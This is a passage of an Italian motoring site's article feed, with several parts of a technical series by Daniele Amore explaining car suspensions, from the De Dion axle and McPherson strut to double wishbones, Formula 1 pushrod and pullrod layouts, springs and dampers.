<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/dedion_07.jpg"><img decoding="async" class="alignleft size-medium wp-image-47891" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/dedion_07-300x200.jpg" alt="dedion_07" width="300" height="200" title="Le sospensioni Parte V, Ponte Rigido e il De Dion 1084" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/01/dedion_07-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/01/dedion_07.jpg 450w" sizes="(max-width: 300px) 100vw, 300px" /></a>Il ponte De Dion assicura una precisione di guida indipendentemente da carico a cui è sottoposta la sospensione, garantendo una ottima trazione su ogni tipo di fondo. La stabilità è sempre impeccabile anche quando la vettura presenta un eccessivo rollio in curva, consentendo un utilizzo di ammortizzatori non troppo rigidi per un migliore assorbimento delle asperità per il confort degli occupanti. Uno dei difetti sostanziali è il costo veramente elevato, per la complessità dei componenti della sospensione.  Inoltre il sistema occupa ancora più spazio di un normale sistema a ponte rigido e di conseguenza un peso maggiore. Le inerzie maggiori quando viene sollecitata la rende anche particolarmente brusca quando il fondo stradale diventa particolarmente sconnesso, e nel caso di fondo viscido e bagnato.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/101_7102640x480-e1421062412153.jpg"><img decoding="async" class="alignleft size-medium wp-image-47895" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/101_7102640x480-300x225.jpg" alt="101_7102640x480" width="300" height="225" title="Le sospensioni Parte V, Ponte Rigido e il De Dion 1085"></a>Per stabilizzare i movimenti del sistema si usa una barra che come la Panhard collega il ponte alla scocca. Ci possono essere delle varianti di quest&#8217;ultima quando  al centro della stessa viene posto un ulteriore elemento di forma romboidale che la rende ulteriormente flessibile e dividendo la barra i due bracci di collegamento, smorzando al massimo i movimenti trasversali del sistema migliorando la stabilità e le reazioni su fondi viscidi e irregolari. Questa tipologia di barra, viene anche utilizzata anche se più raramente sulle vetture a trazione anteriore. Un particolarità sta nel fatto che questo ponte De Dion non è ancora andato definitivamente in pensione essendo appannaggio di un modello molto popolare come la piccola Smart. Una soluzione che ha permesso di inglobare nel sistema di sospensioni anche tutto il sistema propulsivo e di trazione.</p>
<p style="text-align: justify;"><strong>Daniele Amore</strong></p>
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		<title>Le sospensioni Parte IV: McPherson, e le sue derivate per la parte anteriore dell&#8217;auto</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 04 Jan 2015 10:30:47 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>  Nel precedente capitolo abbiamo suddiviso le sospensioni in indipendenti e interconnesse o ponte rigido. Ci siamo concentrati sulla parte anteriore parlando delle tipologie che si possono trovare in questa parte del veicolo ed abbiamo spiegato come funziona la sospensione indipendente a quadrilatero articolato. In questa trattazione parliamo della sospensione a ruote indipendenti McPherson e [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2015/01/04/le-sospensioni-parte-iv-mcpherson-e-le-sue-derivate-per-la-parte-anteriore-dell-auto/">Le sospensioni Parte IV: McPherson, e le sue derivate per la parte anteriore dell&#8217;auto</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: center;"> <a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/mcpherson_2wish-e1420362760294.jpg"><img decoding="async" class="alignnone size-medium wp-image-47714" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/mcpherson_2wish-300x176.jpg" alt="mcpherson_2wish" width="300" height="176" title="Le sospensioni Parte IV: McPherson, e le sue derivate per la parte anteriore dell&#039;auto 1092"></a></p>
<p style="text-align: justify;">Nel <a href="https://www.giornalemotori.com/2014/12/19/le-sospensioni-parte-iii-schema-quadrilatero-articolato/" target="_blank" rel="noopener noreferrer"><span style="text-decoration: underline; color: #000080;"><strong>precedente capitolo</strong></span></a> abbiamo suddiviso le <strong>sospensioni</strong> in <strong>indipendenti</strong> e interconnesse o ponte rigido. Ci siamo concentrati sulla parte anteriore parlando delle tipologie che si possono trovare in questa parte del veicolo ed abbiamo spiegato come funziona la sospensione indipendente a quadrilatero articolato. In questa trattazione parliamo della sospensione a ruote indipendenti <strong>McPherson</strong> e le sue derivate.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/mcpherson-strut-example-e1420366173114.jpg"><img decoding="async" class="alignleft size-medium wp-image-47720" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/mcpherson-strut-example-300x276.jpg" alt="mcpherson-strut-example" width="300" height="276" title="Le sospensioni Parte IV: McPherson, e le sue derivate per la parte anteriore dell&#039;auto 1093"></a>La sospensione McPherson fu studiata in modo particolare per le esigenze di quei veicoli che hanno un ingombro del motore all&#8217;anteriore che non permette di usare una sospensione quadrilatero che occupa tanto spazio. Nella fine degli anni 60 del secolo scorso,  infatti,  con l&#8217;avvento delle vetture a motore anteriore e trazione anteriore si è dovuto trovare una soluzione che unisse semplicità ed efficacia in uno spazio ridotto. Il sistema McPherson si è adattato ottimamente a diverse tipologie di veicoli sia per l&#8217;utilizzo all&#8217;avantreno che anche per certi schemi di sospensione per il retrotreno con vetture a trazione posteriore. La sospensione è composta nel suo schema base formato da un braccio inferiore di solito triangolare, e da un elemento verticale detto montante composto dall&#8217;ammortizzatore, che assicura il movimento verticale della ruota quando viene sollecitata dalle asperità stradali. Questa soluzione è ormai diffusa sulla quasi totalità dei modelli presenti sul mercato sia trazione anteriore ma anche con trazione posteriore e integrale ha il pregio di assicurare una buona risposta dell&#8217;avantreno, una buona direzionalità. ( foto lato)</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/renault_megane_coupe_rs_31-e1420363102118.jpg"><img decoding="async" class="alignleft size-medium wp-image-47715" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/renault_megane_coupe_rs_31-300x169.jpg" alt="renault_megane_coupe_rs_31" width="300" height="169" title="Le sospensioni Parte IV: McPherson, e le sue derivate per la parte anteriore dell&#039;auto 1094"></a>Il difetto rilevante è quello di non assicurare un controllo della variazione che gli angolo della geometria delle sospensioni  mentre lavorano in curva e in smorzamento. Il controllo delle geometrie come previsto dal progettista per una perfetta tenuta di strada è ottenibile solo usando particolari accorgimenti che hanno lo scopo di far lavorare i componenti secondo le geometrie impostate, come bracci di raccordo al portamozzo (Knukle), o particolari progettazioni dei supporti strutturali (strut) e opinione diffusa che questo difetto è il motivo per cui questa sospensione non viene ritenuta adatta a vetture GT o sportive in genere. La cosa non è propriamente vera. Un dimensionamento e una progettazione dedicata di ogni componente che forma il McPherson,  dal braccio, al portamozzo, fino al montante con l&#8217;aggiunta di particolari snodi possono correggere gran parte del difetto assicurando un comportamento sportivo.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/991-Front-Suspension-e1420365864606.jpg"><img decoding="async" class="alignleft size-medium wp-image-47716" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/991-Front-Suspension-300x225.jpg" alt="991 Front Suspension" width="300" height="225" title="Le sospensioni Parte IV: McPherson, e le sue derivate per la parte anteriore dell&#039;auto 1095"></a>Il problema semmai potrebbe essere quello dell&#8217;aumento dei costi con una progettazione dedicata. Possiamo affermare che progettare un McPherson complesso per una migliore tenuta di strada costa sicuramente meno che utilizzare un quadrilatero articolato con doppio braccio, che prevede una serie di componenti maggiori, snodi di qualità ed efficienza migliore, ma soprattutto la progettazione del telaio della vettura completamente diverso da quello che va ad ospitare un McPherson.  Quindi se si vuole avere un ottimo compromesso tra comportamento, costi, e confort questa soluzione appare ancora un compromesso vincente. Del resto la dimostrazione lampante sono vetture come la Porsche 911 ( foto a lato ) unica supercar ad usare questo sistema all&#8217;anteriore nonostante l&#8217;enorme disponibilità di spazio, che non difetta certo di piacere di guida e di efficienza in pista. Inoltre un&#8217;altro esempio è la Renault Megane RS Sport (Foto in alto) che  ha stabilito con questa sospensione profondamente rivista come si vede nell&#8217;esploso mostrato in foto, il record sulla pista più complessa del mondo, Il Nurburgring, dove risulta la migliore trazione anteriore in assoluto.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/pagina4g-1.png"><img decoding="async" class="alignleft size-medium wp-image-47717" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/pagina4g-1-300x208.png" alt="pagina4g (1)" width="300" height="208" title="Le sospensioni Parte IV: McPherson, e le sue derivate per la parte anteriore dell&#039;auto 1096" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/01/pagina4g-1-300x208.png 300w, https://www.giornalemotori.com/wp-content/uploads/2015/01/pagina4g-1.png 500w" sizes="(max-width: 300px) 100vw, 300px" /></a>Nonostante questo,  la testardaggine dei Giapponesi ha permesso di progettare un sistema ibrido che si pone a metà strada tra il McPherson e il quadrilatero articolato classico. Negli anni 80,  sulle Honda Civic veniva a debuttare la <strong>sospensione indipendente a quadrilatero deformabile.</strong> Anche questa può essere utilizzata sia per la parte dell&#8217;avantreno che il retrotreno. Nella fattispecie parleremo della parte anteriore della vettura dove ha dato i suoi migliori risultati.  L&#8217;idea era quella di ottenere i vantaggio geometrici e di tenuta di strada di un tipo quadrilatero articolato, con l&#8217;ingombro e i costi paragonabili ad uno schema McPherson, il tutto per dare la possibilità di creare vetture dal comportamento sportivo senza pregiudicare il confort di marcia. In questo caso vengono utilizzati due bracci triangolari. Quello inferiore sostituisce il braccio oscillante della sospensione McPherson, quello superiore di forma ridotta abbraccia letteralmente il montante composto dall&#8217;ammortizzatore e viene collegato al portamozzo mediante un secondo braccio ricurvo con una serie di snodi alla scocca (Foto a lato)</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/200842185531_quadrilatero156.jpg"><img decoding="async" class="alignleft size-medium wp-image-47719" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/200842185531_quadrilatero156-300x292.jpg" alt="200842185531_quadrilatero156" width="300" height="292" title="Le sospensioni Parte IV: McPherson, e le sue derivate per la parte anteriore dell&#039;auto 1097" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/01/200842185531_quadrilatero156-300x292.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/01/200842185531_quadrilatero156.jpg 500w" sizes="(max-width: 300px) 100vw, 300px" /></a>Questo sistema è incontestabilmente la soluzione più versatile che in assoluto si adatta a qualsiasi telaio già esistente senza modifiche radicali. Consente un eccellente controllo della progressione geometrica nelle fasi di frenata, accelerazione di stress in curva. Assicura una risposta pronta ed estremamente precisa, immediata e progressiva con una riduzione notevole degli effetti di sostosterzo cioè la tendenza del muso ad andare dritto in curva. Le vetture dotate di questo sistema sono anche quelle che assicurano una grande stabilità in ogni condizione, al contempo una notevole manegevolezza in virtù del perfetto controllo delle geometrie impostate dal progettista.  Particolare efficacia si ha nelle vetture a trazione anteriore dalla notevole potenza. Per queste automobili il sistema quadrilatero alto assicura anche una ottima trazione soprattutto nelle fasi di accelerazioni in uscita da curve strette. I vantaggi comunque comportano un esborso economico maggiore che nel McPherson quindi non tutti i costruttori utilizzano questo sistema nonostante i notevoli vantaggi. Le vetture che hanno utilizzato il quadrilatero alto, sono state le Honda Civic e le derivazione sportive CRX ed Integra, la Nissan Primera, le Alfa Romeo 156/147 (Foto a lato). Di recente alcune case costruttrici tedesche stanno convertendo i loro avantreni McPherson delle produzione medio alto di gamma con avantreni a quadrilatero alto per garantire prestazioni assolute conservando il confort di marcia a riprova della eccellente efficienza di questa sospensione.</p>
<p style="text-align: justify;">Daniele Amore</p>
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		<title>Le sospensioni parte III, ruote indipendenti schema quadrilatero articolato</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 19 Dec 2014 16:19:47 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Dopo aver visto Cos&#8217;è una sospensione automobilistica e Come è composta una sospensione e i suoi schemi tipici, è arrivato il momento di entrare nel dettaglio. Abbiamo anche detto che si dividono in due grandi famiglie, quelle a ruote indipendenti e quelle a ruote interconnesse o ponte rigido. In questa fase parliamo di quelle indipendenti [&#8230;]</p>
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<p style="text-align: justify;">Dopo aver visto <span style="text-decoration: underline;"><a href="https://www.giornalemotori.com/2014/12/09/guida-pratica-alla-comprensione-delle-sospensioni-auto-parte/" target="_blank"><span style="color: #000080; text-decoration: underline;"><strong>Cos&#8217;è una sospensione automobilistica</strong></span></a></span> e <a href="https://www.giornalemotori.com/2014/12/13/alla-scoperta-delle-sospensioni-parte-ii-schema-tipico-ed-elementi/" target="_blank"><span style="text-decoration: underline;"><span style="color: #000080; text-decoration: underline;"><strong>Come è composta una sospensione e i suoi schemi tipici</strong></span></span></a>, è arrivato il momento di entrare nel dettaglio.</p>
<p style="text-align: justify;">Abbiamo anche detto che si dividono in due grandi famiglie, quelle a <strong>ruote indipendenti</strong> e quelle a <strong>ruote interconnesse o ponte rigido</strong>. In questa fase parliamo di quelle indipendenti che si trovano nella parte anteriore dell&#8217;automobile.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/camb4.jpg"><img decoding="async" class="alignleft size-full wp-image-47484" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/camb4.jpg" alt="camb4" width="481" height="297" title="Le sospensioni parte III, ruote indipendenti schema quadrilatero articolato 1105" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/camb4.jpg 481w, https://www.giornalemotori.com/wp-content/uploads/2014/12/camb4-300x185.jpg 300w" sizes="(max-width: 481px) 100vw, 481px" /></a>All&#8217;avantreno di un auto si trovano nel totale dei modelli presenti sul mercato e anche nelle competizioni solo sospensioni a ruote indipendenti. Nella parte anteriore del veicolo si dividono a loro volta in  <strong>quadrilatero deformabile</strong>, <strong>McPherson</strong> ed un sistema ibrido tipo <strong>quadrilatero alto</strong>.  Il cinematismo a quadrilatero è il più classico degli schemi utilizzati, diffuso fino agli anni settanta del secolo scorso sulla pressocchè totalità dei veicoli, oggi riservato per lo più a modelli sportivi, e soprattutto alle vetture da competizione dalle  GT, passando per i prototipi LMP fino alle Formule di tutte le categorie per finire alla Formula 1. La struttura è costituita essenzialmente da un quadrilatero articolato formato da due bracci sovrapposti che hanno un collegamento alla scocca che  funge da struttura portante e quello opposta collegato al portamozzo che gestisce l&#8217;asse di rotazione della ruota come mostrato nella foto principape. I pregi consistono nel limitato ingombro in altezza ma soprattutto di un buon comportamento cinematico durante i moti relativi  tra la ruota e la struttura o la cassa.  Ci sono comunque  sensibili variazioni dell&#8217;angolo di <strong>&#8220;camber&#8221;</strong> nel moto di rollio. Ricordiamo che angolo di camber rappresenta l&#8217;angolo verticale che la ruota assume rispetto al terreno, poò essere positivo, cioè con la parte alta della ruota che esce verso l&#8217;esterno della vettura e negativo quando la parte inferiore della ruota esce verso l&#8217;esterno della vettura come nella figura al lato.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/2004_mazda_rx8_picture-45.jpg"><img decoding="async" class="alignleft size-full wp-image-47490" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/2004_mazda_rx8_picture-45-e1419004612514.jpg" alt="2004_mazda_rx8_picture (45)" width="500" height="375" title="Le sospensioni parte III, ruote indipendenti schema quadrilatero articolato 1106" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/2004_mazda_rx8_picture-45-e1419004612514.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/12/2004_mazda_rx8_picture-45-e1419004612514-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/12/2004_mazda_rx8_picture-45-e1419004612514-265x198.jpg 265w" sizes="(max-width: 500px) 100vw, 500px" /></a>Queste variazioni dell&#8217;angolo di camber sono dovute al fatto che il sostengono superiore e il sostegno inferiore hanno lunghezza diversa. Nelle sospensioni a quadrilatero la molla elastica e l&#8217;ammortizzatore sono posizionati tra i due bracci che compongono il sistema ma ci possono essere sistemi evoluti dove un puntone comanda l&#8217;ammortizzatore attraverso un bilanciere posizionato in un altra zona del telaio. Nel sistema a quadrilatero assume un importanza fondamentale l&#8217;angolo che assumono di due bracci quello inferiore e superiore tra di loro. Infatti a seconda che siano convergenti, paralleli o divergenti, il centro istantaneo di rotazione che è il punto intorno in cui la sospensione, compie percorsi circolari influenza anche in modo rilevante il comportamento del veicolo.  Un altro elemento che assume importanza fondamentale sono gli snodi che collegano i bracci al telaio e al portamozzo che gestisce anche il sistema sterzante. Nelle vetture di un certo livello si dedica molto tempo e risorse allo studio di questi componenti che con la loro rigidezza influiscono nettamente sul mantenimento delle geometrie di progetto e la precisione e controllo di sterzo. Alcuni snodi sono dotati di asole di fissaggio al posto di fuori sul telaio per avere una regolazione anche della posizione dei due bracci e l&#8217;angolo che assumono fra loro in ogni momento che l&#8217;utente o i tecnico lo desideri</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/pullrod_redbull-1.jpg"><img decoding="async" class="alignleft size-full wp-image-47487" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/pullrod_redbull-1.jpg" alt="pullrod_redbull-1" width="450" height="312" title="Le sospensioni parte III, ruote indipendenti schema quadrilatero articolato 1107" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/pullrod_redbull-1.jpg 450w, https://www.giornalemotori.com/wp-content/uploads/2014/12/pullrod_redbull-1-300x208.jpg 300w" sizes="(max-width: 450px) 100vw, 450px" /></a>In Formula 1 si usa da sempre il sistema a quadrilatero deformabile. Nella fine degli anni sessanta del secolo scorso un progettista eclettico inglese diventato uno dei geni più famosi della storia del motorismo <strong>Gordon Murray,</strong> prese gli ammortizzatori che si trovavano tra i due triangoli sovrapposti che formavano il quadrilatero e li posizionava all&#8217;interno della scocca della monoposto. Gli ammortizzatori venivano sollecitati attraverso un puntone che collegava la ruota all&#8217;ammortizzatore mediante un bilanciere. A seconda che il puntone faccia un azione di <strong>spinta</strong> o di <strong>tiraggio</strong> sull&#8217;ammortizzatore si dice che il sistema è di tipo <strong>PUSHROD o PULLROD, </strong>dall&#8217;inglese push spinta, e pull, tirare, assieme a rod,  barra.<strong> </strong>Questi due sistemi se hanno le stesse geometrie e gli stessi angoli del puntone di collegamento hanno come unica differenza sostanziale la diversa  sollecitazione del puntone. Se spinge deve essere sicuramente più spesso e di materiale più consistete che se tira l&#8217;ammortizzatore. Inoltre la differenza sta nella posizione del puntone. Nel caso in si spinge come nella maggioranza delle Formula 1, nel caso del Pull Rod il puntone parte dalla parte alta del portamozzo per collegarsi alla parte bassa del telaio.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/pullrod_pushrod_comparison.jpg"><img decoding="async" class="alignleft size-full wp-image-47488" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/pullrod_pushrod_comparison-e1419003542474.jpg" alt="pullrod_pushrod_comparison" width="500" height="195" title="Le sospensioni parte III, ruote indipendenti schema quadrilatero articolato 1108" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/pullrod_pushrod_comparison-e1419003542474.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/12/pullrod_pushrod_comparison-e1419003542474-300x117.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>Ci sono due soli esempi in Formula 1 che hanno usato il sistema Pull Rod di recente. La <strong>Redbull</strong> ad opera di <strong>Adrian Newey</strong> ha usato questa tipologia di sospensioni per la zona posteriore. Come si vede chiaramente nella figura sopra il puntone parte dall&#8217;alto del portamozzo per entrare nella scocca pressappoco vicino al pavimento. Il vantaggio è sia in termini di abbassamento del baricentro con una sospensione prevalentemente bassa, che di tipo aerodinamico consentendo di stringere la zona superiore della carrozzeria e del telaio per un miglior flusso aerodinamico dell&#8217;estrattore e dell&#8217;ala posteriore.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/pullrod_ferrari_f2012.jpg"><img decoding="async" class="alignleft size-full wp-image-47489" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/pullrod_ferrari_f2012.jpg" alt="pullrod_ferrari_f2012" width="408" height="290" title="Le sospensioni parte III, ruote indipendenti schema quadrilatero articolato 1109" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/pullrod_ferrari_f2012.jpg 408w, https://www.giornalemotori.com/wp-content/uploads/2014/12/pullrod_ferrari_f2012-300x213.jpg 300w" sizes="(max-width: 408px) 100vw, 408px" /></a>L&#8217;altra scuderia che ha usato il sistema Pull Rod è stata la <strong>Ferrari</strong> nella parte anteriore della monoposto. A dire il vero questo sistema all&#8217;anteriore era già stato provato dalla <strong>Minardi</strong> nella fine degli anni 80, ma in quegli anni i musi erano ancora bassi e tenere il baricentro basso con piccolo ingombro nella zona anteriore aveva senso, ma nel caso della <strong>Ferrari</strong> con il muso molto  alto per alimentare il fondo con un flusso aria adeguato ha costretto il puntone della sospensione ad assumere un angolo diverso da quello ottimale. Infatti che il puntone spinga o tiri l&#8217;ammortizzatore,  l&#8217;angolo che deve assumere è pressappoco sempre lo stesso, come si vede anche nel caso della Redbull al posteriore o nella foto che mette a confronto i due sistemi contemporaneamente.  La Ferrari invece ha dovuto adottare un angolo completamente aperto del puntone che diventa quasi orizzontale non permettendo di far lavorare la sospensione in modo corretto, ma soprattutto non permette alle regolazioni che si fanno sulla sospensioni di avere una risposta costante. La rigidezza del sistema inoltre ha il limite di lavorare solo in determinate condizioni di utilizzo. Quindi in fase si messa a punto il team deve scegliere di regolare la sospensione per le curve lente a scapito di quelle veloci o viceversa. Questo spiega perchè su certe piste la Ferrari aveva una sorta di ripresa e in certe altre come quelli con curve alla Tilke i problemi si aggravavano. In sostanza un vantaggio aerodinamico dato da un sistema compatto tra i tre elementi che lo costituiscono hanno creato una serie di problemi che hanno inficiato la competitività della monoposto. Un esempio lampante è stata la McLaren nel 2013 che adottava lo stesso schema poi subito abbandonato nel 2014.  Nella prossima trattazione prenderemo andremo a scoprire il sistema a ruote indipendenti che contraddistingue tutte le vetture di grande diffusione che si trovano in commercio, il sistema McPherson e il suo derivato il quadrilatero alto.</p>
<p style="text-align: justify;"><strong>Daniele Amore</strong></p>
<p style="text-align: justify;">
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2014/12/19/le-sospensioni-parte-iii-schema-quadrilatero-articolato/">Le sospensioni parte III, ruote indipendenti schema quadrilatero articolato</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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		<title>Alla scoperta delle sospensioni (parte II) Schema tipico ed elementi</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 13 Dec 2014 09:01:52 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Le sospensioni sono composte da una serie di elementi, come abbiamo visto nel Primo Articolo. Per semplicità diremo che il sistema è composto da molle, ammortizzatori, barra antirollio, tamponi fine corsa, tasselli e snodi, oltre che la parte in contatto diretto con l&#8217;asfalto, il pneumatico.  In questa fase spiegheremo  le funzioni che hanno i singoli [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2014/12/13/alla-scoperta-delle-sospensioni-parte-ii-schema-tipico-ed-elementi/">Alla scoperta delle sospensioni (parte II) Schema tipico ed elementi</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: center;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/pp_schemasospensioni.jpg"><img decoding="async" class="alignnone size-full wp-image-47370" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/pp_schemasospensioni.jpg" alt="pp_schemasospensioni" width="500" height="290" title="Alla scoperta delle sospensioni (parte II) Schema tipico ed elementi 1115" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/pp_schemasospensioni.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/12/pp_schemasospensioni-300x174.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify;"><strong>Le sospensioni</strong> sono composte da una serie di elementi, come abbiamo visto nel <span style="text-decoration: underline;"><a href="https://www.giornalemotori.com/2014/12/09/guida-pratica-alla-comprensione-delle-sospensioni-auto-parte/" target="_blank"><span style="color: #000080;"><strong>Primo Articolo</strong></span></a></span>. Per semplicità diremo che il sistema è composto da <strong>molle, ammortizzatori, barra antirollio, tamponi fine corsa, tasselli e snodi,</strong> oltre che la parte in contatto diretto con l&#8217;asfalto, il <strong>pneumatico</strong>.  In questa fase spiegheremo  le funzioni che hanno i singoli componenti del sistema sospensione. Descriveremo come ogni componente con le proprie caratteristiche  concorre ad ottenere una prestazione definita, in base alla geometria che viene stabilita in fase di progetto.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/566632.jpg"><img decoding="async" class="alignleft size-full wp-image-47371" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/566632.jpg" alt="OLYMPUS DIGITAL CAMERA" width="500" height="399" title="Alla scoperta delle sospensioni (parte II) Schema tipico ed elementi 1116" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/566632.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/12/566632-300x239.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a> Partendo dalle <strong>molle</strong>, queste possono essere di vario tipo. Si parte dalle primordiali ma non meno efficaci balestre, a quelle spirale, oppure ad aria, e per finire alle barre antirollio che in certi casi diventano unico elemento elastico della sospensione. La funzione delle molle,  di qualsiasi tipo esse siano,  è quella di sostenere il peso della vettura e di mantenerla ad un altezza prefissata da terra sia che questa sia sottoposta a carico che sia in posizione statica. Per carico si intende non solo il peso degli elementi come carrozzeria, allestimenti,  passeggeri e bagagli, ma anche il peso che grava sulla ruota quando la vettura è impegnata in curva. Infatti per effetto della forza centrifuga che spinge verso l&#8217;esterno il veicolo, assume un certo angolo di <strong>rollio</strong> intorno all&#8217;asse longitudinale che fa gravare sulla sospensione esterna un peso maggiore. Oltre che di forma e tipologia diversa le molle possono variare per dimensione. Possono essere cilindriche, coniche, con taratura fissa o progressive,  cioè che hanno la capacità di assorbire e controllare un peso variabile a seconda di quanto vengono sollecitate. L&#8217;elemento che  caratterizza le molle è la<strong> flessibilità&#8217;</strong>. Questa viene determinata dallo spessore della fascia della balestra o dal diametro del filo, dall&#8217;avvolgimento, e dal numero di spire che le compone se di tipo cilindrico. L<strong>a flessibilità&#8217; </strong>è la caratteristica che determina la variazione di assetto o di altezza da terra della vettura in base al carico. Vi sono impieghi soprattutto per veicoli sportivi o da alte prestazioni,  in  cui è necessario adottare molle a <b>flessibilità variabile </b> ottenuta modificando opportunamente il passo delle spire sulla lunghezza della molla. Per passo si intende la misura che intercorre tra una spira e quella successiva. Viene da se che la posizione della molla ed il suo carico influenzano anche la resistenza al<strong> rollio.</strong></p>
<p style="text-align: justify;"> <a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/balestre-old-man-emu-84.jpg"><img decoding="async" class="alignleft size-full wp-image-47372" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/balestre-old-man-emu-84.jpg" alt="balestre-old-man-emu-84" width="387" height="363" title="Alla scoperta delle sospensioni (parte II) Schema tipico ed elementi 1117" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/balestre-old-man-emu-84.jpg 387w, https://www.giornalemotori.com/wp-content/uploads/2014/12/balestre-old-man-emu-84-300x281.jpg 300w" sizes="(max-width: 387px) 100vw, 387px" /></a>Le molle lavorano in simbiosi con gli ammortizzatori. Un ammortizzatore tradizionale presenta caratteristiche strutturali non portanti e forme costruttive relativamente semplici.  L&#8217;ammortizzatore è l&#8217; elemento smorzante atto a contrastare la molla e svolge due funzioni distinte da essa.  Frena i movimenti della ruota opponendosi agli spostamenti eccessivi delle <strong>masse non sospese</strong> per tenere sotto  controllo la tenuta di strada e frena i movimenti della scocca, opponendosi agli eccessivi movimenti delle <strong>masse sospese</strong>, controllando il comfort di marcia. Queste due esigenze molto spesso sono in contrasto fra loro e soltanto con particolari regolazioni sulla frenatura degli spostamenti si può ottenere un buon compromesso. Per ottenere una buona <strong>tenuta di strada, </strong>si deve sempre garantire il contatto della ruota con il terreno, e per fare ciò lo smorzamento delle oscillazioni deve essere elevato, se invece si predilige il  <strong>comfort </strong>si deve ridurre la rumorosità e le vibrazioni dovute al fondo stradale oltre che le oscillazioni che subisce la scocca, in questo caso si procede con un tipo di frenatura minore. La fase più delicata è quando si deve regolare un ammortizzatore  quando viene sottoposto a compressione, per non sollecitare eccessivamente gli organi della sospensione quando si superano rapidamente gli ostacoli, come buche secche, o gradini le frenature non devono essere eccessive. Ci sono asperità del fondo stradale che fanno prendere una velocità tale alla ruota che può diventare molto elevata provocando addirittura la rottura dell&#8217;ammortizzatore. Quindi una vettura stradale  adotta sempre una soluzione di compromesso, che tiene conto delle condizioni, fruttando anche l&#8217;azione svolta dai tasselli elastici che collegano ammortizzatore e scocca, utilizzando tarature che tengono conto delle diverse frequenze di oscillazioni a cui viene sottoposta la sospensione. Abbiamo detto che l&#8217;ammortizzatore può essere posto o in asse all&#8217;interno della molla o anche separato. Nel secondo caso  viene contrastata la variazione di lunghezza della molla e vengono assorbite le asperità del terreno quando il pneumatico non è in grado di farlo in modo più 